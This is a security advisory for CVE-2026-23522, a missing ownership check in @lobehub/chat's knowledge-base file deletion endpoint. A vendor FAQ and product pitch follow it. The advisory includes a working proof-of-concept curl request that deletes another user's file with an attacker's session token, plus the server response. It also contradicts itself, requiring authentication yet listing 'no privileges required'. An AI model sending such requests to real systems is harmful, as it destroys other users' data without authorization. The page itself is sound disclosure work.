CVE-2026-23522

knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.

Details

userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.

PoC

ATTACKER_TOKEN="xx"

VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"

curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'

Response:

{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}

An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.

While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.

CVE-2026-23522 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-23522? CVE-2026-23522 is a low-severity security vulnerability in @lobehub/chat (npm), affecting versions <= 1.143.2. No fixed version is listed yet.
2. How severe is CVE-2026-23522? CVE-2026-23522 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @lobehub/chat are affected by CVE-2026-23522? @lobehub/chat (npm) versions <= 1.143.2 is affected.
4. Is there a fix for CVE-2026-23522? No fixed version is listed for CVE-2026-23522 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-23522 exploitable, and should I be worried? Whether CVE-2026-23522 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23522 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.